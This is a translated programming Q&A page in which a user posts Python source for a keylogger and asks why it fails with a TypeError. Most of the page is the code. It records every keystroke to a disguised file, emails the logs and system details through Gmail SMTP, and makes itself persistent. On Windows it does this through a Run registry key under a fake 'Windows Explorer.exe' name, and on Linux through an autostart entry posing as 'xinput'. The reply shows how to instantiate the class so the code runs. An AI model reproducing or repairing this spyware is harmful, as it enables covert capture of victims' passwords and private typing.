问题描述
"This is my first coding question on stack so maybe not upto mark"
因此,我正在尝试制作一个本地按键记录器,以将所有按键输入存储在.txt文件中 当系统重新启动时,使用smtp将文件发送到我的电子邮件中,然后再次启动键盘记录程序。
代码如下:
import pynput.keyboard
import smtplib
import os
import shutil
import subprocess
import sys
import stat
import platform
import getpass
import socket
import time
类键盘记录器:
def __init__(self,email,password):
self.email = email
self.password = password
self.system_info = self.get_system_info()
def append_to_log(self,string):
self.log = self.log + string
file = open(r"C:\Program Files\explorer.txt","wb")
file.write(self.log)
def check_internet(self):
ipaddress = socket.gethostbyname(socket.gethostname())
while ipaddress=="127.0.0.1":
time.sleep(10)
ipaddress = socket.gethostbyname(socket.gethostname())
self.report()
def get_system_info(self):
uname = platform.uname()
os = uname[0] + " " + uname[2] + " " + uname[3]
computer_name = uname[1]
user = getpass.getuser()
return "Operating System:\t" + os + "\nComputer Name:\t\t" + computer_name + "\nUser:\t\t\t\t" + user
def process_key_press(self,key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = " "
else:
current_key = " " + str(key) + " "
self.append_to_log(current_key)
def report(self):
self.send_mail(self.log)
def send_mail(self,message):
message = "Subject: Alogger report\n\n" + "Report From:\n\n" + self.system_info + "\n\nLogs:\n" + message
server = smtplib.SMTP("smtp.gmail.com",587)
server.starttls()
server.login(self.email,self.password)
server.sendmail(self.email,self.email,message)
server.quit()
def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
keyboard_listener.join()
def become_persistent(self):
if sys.platform.startswith("win"):
self.become_persistent_on_windows()
elif sys.platform.startswith("linux"):
self.become_persistent_on_linux()
def become_persistent_on_windows(self):
evil_file_location = os.environ["appdata"] + "\\Windows Explorer.exe"
if not os.path.exists(evil_file_location):
self.log = "* Keylogger started * "
shutil.copyfile(sys.executable,evil_file_location)
subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v winexplorer /t REG_SZ /d "' + evil_file_location + '"',shell=True)
def become_persistent_on_linux(self):
home_config_directory = os.path.expanduser('~') + "/.config/"
autostart_path = home_config_directory + "/autostart/"
autostart_file = autostart_path + "xinput.desktop"
if not os.path.isfile(autostart_file):
self.log = "** Keylogger started **"
try:
os.makedirs(autostart_path)
except OSError:
pass
destination_file = home_config_directory + "xnput"
shutil.copyfile(sys.executable,destination_file)
self.chmod_to_exec(destination_file)
with open(autostart_file,'w') as out:
out.write("[Desktop Entry]\nType=Application\nX-GNOME-Autostart-enabled=true\n")
out.write("Name=Xinput\nExec=" + destination_file + "\n")
def chmod_to_exec(self,file):
os.chmod(file,os.stat(file).st_mode | stat.S_IEXEC)
#end of class
#starting Keylogger not included in class
if not os.path.exists(r"C:\Program Files\explorer.txt"):
Keylogger.become_persistent()
file = open(r"C:\Program Files\explorer.txt","wb")
Keylogger.start()
elif os.path.exists(r"C:\Program Files\explorer.txt") and
os.stat(file_path).st_size
<= 0:
Keylogger.start()
else:
Keylogger.check_internet()
os.remove(r"C:\Program Files\explorer.txt")
Keylogger.start()
所以我得到以下错误:
Traceback (most recent call last):
File "C:/Users/MYPC/PycharmProjects/self_made_hack/venv/keylogger local.py",line
108,in <module>
Keylogger.become_persistent()
TypeError: become_persistent() missing 1 required positional argument: 'self'
这是我的第一个高级项目,因此会有很多错误。 那么此代码的建议和解决方案是什么
解决方法
您直接使用Keylogger
类,但应该声明该类的实例:
my_keylogger = Keylogger()
my_keylogger.become_persistent()